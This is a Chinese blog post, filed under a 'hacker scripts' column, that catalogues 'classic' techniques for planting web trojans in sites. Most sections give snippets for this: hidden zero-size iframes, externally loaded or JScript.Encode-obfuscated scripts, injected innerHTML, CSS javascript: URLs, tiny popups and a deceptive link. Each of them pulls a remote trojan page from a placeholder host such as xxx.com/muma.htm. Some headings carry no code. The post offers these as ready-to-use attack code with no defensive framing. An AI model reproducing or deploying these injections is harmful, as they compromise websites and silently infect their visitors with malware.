网页挂马经典代码

最新推荐文章于 2024-11-02 19:19:35 发布

泡面之夏

最新推荐文章于 2024-11-02 19:19:35 发布

阅读量435

点赞数

分类专栏：黑客脚本文章标签： javascript iframe url function 加密框架

本文链接：https://blog.csdn.net/xiazhijiang520/article/details/3437537

版权

黑客同时被 2 个专栏收录

10 篇文章 0 订阅

订阅专栏

脚本

9 篇文章 0 订阅

订阅专栏

一:框架挂马

二:js文件挂马

首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML '/r/n<iframe src="[url=http://www.xxx.com/muma.htm/][color=#0000ff]http://www.xxx.com/muma.htm/[/color][/url]"></iframe>';

六:css中挂马

body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

九:伪装调用：

十:高级欺骗

<a href="[url=http://www.163.com/][color=#0000ff]http://www.163.com[/color][/url] (迷惑连接地址，显示这个地址指向木马地址)" > 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

十一:RM挂马
u 00:00:00.1 00:00:10.0 &&_rpexternsl&&http://www.xxx.com/xxx.htm